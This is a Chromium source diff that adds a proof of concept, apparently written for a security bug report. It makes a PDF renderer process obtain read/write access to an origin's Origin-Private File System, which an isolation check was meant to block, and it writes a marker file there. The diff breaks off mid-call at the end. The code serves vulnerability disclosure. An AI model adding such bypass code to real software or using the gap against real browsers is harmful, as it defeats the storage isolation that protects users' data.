diff --git a/components/pdf/renderer/pdf_view_web_plugin_client.cc b/components/pdf/renderer/pdf_view_web_plugin_client.cc index e5a6e7f230710..fdb6bfac37da0 100644 --- a/components/pdf/renderer/pdf_view_web_plugin_client.cc +++ b/components/pdf/renderer/pdf_view_web_plugin_client.cc @@ -9,7 +9,9 @@ #include #include +#include // POC: getpid() #include "base/check_op.h" +#include "base/logging.h" // POC #include "base/values.h" #include "components/pdf/renderer/pdf_accessibility_tree.h" #include "content/public/renderer/render_frame.h" @@ -73,6 +75,15 @@ PdfViewWebPluginClient::GetWeakPtr() { void PdfViewWebPluginClient::SetPluginContainer( blink::WebPluginContainer* container) { plugin_container_ = container; + // === POC: trigger from SetPluginContainer too (DidStartLoading may not fire + // for non-full-frame embeds). === + if (container) { + LOG(ERROR) << "[POC][renderer pid=" << getpid() + << "] PdfViewWebPluginClient::SetPluginContainer reached -- " + "PDF plugin instantiated inside is_pdf() process"; + PocAttackOriginPrivateFileSystem(); + } + // === END POC === } blink::WebPluginContainer* PdfViewWebPluginClient::PluginContainer() { @@ -285,7 +296,126 @@ void PdfViewWebPluginClient::DidStartLoading() { return; frame_client->DidStartLoading(); -} + + // === POC: simulate compromised PDF renderer accessing OPFS === + PocAttackOriginPrivateFileSystem(); + // === END POC === +} + +// === POC: simulate compromised PDF renderer accessing OPFS === +// +// This code simulates what an attacker with arbitrary code execution inside +// the PDF renderer process (ProcessLock.is_pdf() == true) could do: bind +// blink.mojom.FileSystemAccessManager via the frame's BrowserInterfaceBroker +// and call GetSandboxedFileSystem() to obtain a fully-granted R/W handle on +// the PDF-serving origin's Origin-Private File System. +// +// The browser-side handler (FileSystemAccessManagerImpl::GetSandboxedFileSystem) +// performs NO ChildProcessSecurityPolicy::CanAccessDataForOrigin check, so the +// IsAccessAllowedForPdfProcess(kCanAccessDataForCommittedOrigin) -> false gate +// is never consulted. Contrast: the legacy FileSystemManager::Open() path was +// hardened with exactly that check and returns FSMI_OPEN_INVALID_ORIGIN. +void PdfViewWebPluginClient::PocAttackOriginPrivateFileSystem() { + if (poc_ran_) { + return; + } + poc_ran_ = true; + + std::string origin = + GURL(GetFrame()->GetSecurityOrigin().ToString().Utf8()).spec(); + LOG(ERROR) << "[POC][renderer pid=" << getpid() + << "] PDF content frame committed origin = " << origin + << " (this process has ProcessLock.is_pdf()==true)"; + + // Step 1: Bind the modern FileSystemAccessManager. This goes through + // RenderFrameHostImpl::GetFileSystemAccessManager which performs NO + // is_pdf() / CanAccessDataForOrigin gate. + LOG(ERROR) << "[POC][renderer] Binding blink.mojom.FileSystemAccessManager " + "via BrowserInterfaceBroker..."; + render_frame_->GetBrowserInterfaceBroker().GetInterface( + poc_fsa_manager_.BindNewPipeAndPassReceiver()); + poc_fsa_manager_.set_disconnect_handler(base::BindOnce([]() { + LOG(ERROR) << "[POC][renderer] FileSystemAccessManager pipe DISCONNECTED " + "(would mean browser rejected the bind)"; + })); + + // Step 2: Request the OPFS root for this frame's StorageKey. + LOG(ERROR) << "[POC][renderer] Calling GetSandboxedFileSystem()..."; + poc_fsa_manager_->GetSandboxedFileSystem( + base::BindOnce(&PdfViewWebPluginClient::PocOnGotSandboxedFileSystem, + weak_factory_.GetWeakPtr())); +} + +void PdfViewWebPluginClient::PocOnGotSandboxedFileSystem( + blink::mojom::FileSystemAccessErrorPtr result, + mojo::PendingRemote dir) { + if (result->status != blink::mojom::FileSystemAccessStatus::kOk || !dir) { + LOG(ERROR) << "[POC][renderer] GetSandboxedFileSystem FAILED status=" + << static_cast(result->status) << " msg='" + << result->message << "' -> bug NOT triggered"; + return; + } + + LOG(ERROR) + << "[POC][renderer] *** VULNERABILITY CONFIRMED *** " + "GetSandboxedFileSystem() returned kOk with a live OPFS root " + "directory handle to the PDF-serving origin's storage. " + "IsAccessAllowedForPdfProcess(kCanAccessDataForCommittedOrigin) " + "should have denied this but was never consulted."; + + // Step 3: Prove the handle is functional with write access by creating a + // file in the origin's persistent OPFS. + poc_dir_.Bind(std::move(dir)); + LOG(ERROR) << "[POC][renderer] Calling GetFile('pwned-by-pdf-renderer.txt', " + "create=true) on the OPFS root..."; + poc_dir_->GetFile( + "pwned-by-pdf-renderer.txt", /*create=*/true, + base::BindOnce(&PdfViewWebPluginClient::PocOnGotFile, + weak_factory_.GetWeakPtr())); +} + +void PdfViewWebPluginClient::PocOnGotFile( + blink::mojom::FileSystemAccessErrorPtr result, + mojo::PendingRemote file) { + if (result->status != blink::mojom::FileSystemAccessStatus::kOk || !file) { + LOG(ERROR) << "[POC][renderer] GetFile FAILED status=" + << static_cast(result->status) << " msg='" + << result->message << "'"; + } else { + poc_file_.Bind(std::move(file)); + LOG(ERROR) + << "[POC][renderer] *** GetFile(create=true) SUCCEEDED *** -- the " + "compromised PDF renderer just CREATED a file in the serving " + "origin's persistent Origin-Private File System. Full R/W " + "(GetFile/GetDirectory/CreateFileWriter/Remove) is available."; + } + + // Step 4 (control): Show that the LEGACY path is correctly hardened. + // FileSystemManagerImpl::Open() calls CanAccessDataForOrigin which routes + // through IsAccessAllowedForPdfProcess -> false, so the browser will kill + // this renderer with reason FSMI_OPEN_INVALID_ORIGIN. This proves the modern + // OPFS path above is the unguarded sibling that the hardening missed. + LOG(ERROR) << "[POC][renderer] CONTROL: now calling legacy " + "FileSystemManager::Open(kTemporary) -- this hardened sibling " + "SHOULD be denied with FSMI_OPEN_INVALID_ORIGIN..."; + render_frame_->GetBrowserInterfaceBroker().GetInterface( + poc_legacy_fs_.BindNewPipeAndPassReceiver()); + poc_legacy_fs_.set_disconnect_handler(base::BindOnce([]() { + LOG(ERROR) << "[POC][renderer] CONTROL: legacy FileSystemManager pipe " + "DISCONNECTED (hardened path correctly rejected the PDF " + "process via CanAccessDataForOrigin)"; + })); + poc_legacy_fs_->Open( + blink::mojom::FileSystemType::kTemporary, + base::BindOnce([](const std::string& name, const GURL& root, + base::File::Error err) { + LOG(ERROR) << "[POC][renderer] CONTROL: legacy Open() unexpectedly " + "returned (name=" + << name << " err=" << static_cast(err) + << ") -- hardening regressed?"; + })); +} +// === END POC === void PdfViewWebPluginClient::DidStopLoading() { blink::WebLocalFrameClient* frame_client = GetFrame()->Client(); diff --git a/components/pdf/renderer/pdf_view_web_plugin_client.h b/components/pdf/renderer/pdf_view_web_plugin_client.h index e3c73965fdbc1..a91eac4b99063 100644 --- a/components/pdf/renderer/pdf_view_web_plugin_client.h +++ b/components/pdf/renderer/pdf_view_web_plugin_client.h @@ -13,6 +13,13 @@ #include "mojo/public/cpp/bindings/remote.h" #include "pdf/pdf_view_web_plugin.h" #include "services/screen_ai/public/mojom/screen_ai_service.mojom.h" +// === POC: simulate compromised PDF renderer accessing OPFS === +#include "third_party/blink/public/mojom/file_system_access/file_system_access_directory_handle.mojom.h" +#include "third_party/blink/public/mojom/file_system_access/file_system_access_error.mojom.h" +#include "third_party/blink/public/mojom/file_system_access/file_system_access_file_handle.mojom.h" +#include "third_party/blink/public/mojom/file_system_access/file_system_access_manager.mojom.h" +#include "third_party/blink/public/mojom/filesystem/file_system.mojom.h" +// === END POC === namespace blink { class WebLocalFrame; @@ -113,6 +120,21 @@ class PdfViewWebPluginClient : public chrome_pdf::PdfViewWebPlugin::Client { mojo::Remote screen_ai_annotator_; base::RepeatingClosure ocr_disconnect_callback_; + // === POC: simulate compromised PDF renderer accessing OPFS === + void PocAttackOriginPrivateFileSystem(); + void PocOnGotSandboxedFileSystem( + blink::mojom::FileSystemAccessErrorPtr result, + mojo::PendingRemote dir); + void PocOnGotFile( + blink::mojom::FileSystemAccessErrorPtr result, + mojo::PendingRemote file); + bool poc_ran_ = false; + mojo::Remote poc_fsa_manager_; + mojo::Remote poc_dir_; + mojo::Remote poc_file_; + mojo::Remote poc_legacy_fs_; + // === END POC === + base::WeakPtrFactory weak_factory_{this}; }; diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index 75b89a4a387a7..d7bdbd56ce63d 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -15012,6 +15012,22 @@ void RenderFrameHostImpl::GetFontAccessManager( void RenderFrameHostImpl::GetFileSystemAccessManager( mojo::PendingReceiver receiver) { CHECK_CURRENTLY_ON(BrowserThread::UI); + // === POC instrumentation (browser-side, logging only) === + { + bool is_pdf = GetSiteInstance()->GetSiteInfo().is_pdf(); + LOG(ERROR) << "[POC][browser] GetFileSystemAccessManager: child_pid=" + << GetProcess()->GetProcess().Pid() + << " ProcessLock.is_pdf()=" << (is_pdf ? "TRUE" : "false") + << " StorageKey.origin()=" + << GetStorageKey().origin().Serialize() + << " last_committed_url=" << GetLastCommittedURL().spec(); + if (is_pdf) { + LOG(ERROR) << "[POC][browser] *** is_pdf()==true process is binding " + "FileSystemAccessManager -- no CanAccessDataForOrigin " + "check is performed on this path ***"; + } + } + // === END POC instrumentation === auto* manager = GetStoragePartition()->GetFileSystemAccessManager(); manager->BindReceiver( FileSystemAccessManagerImpl::BindingContext(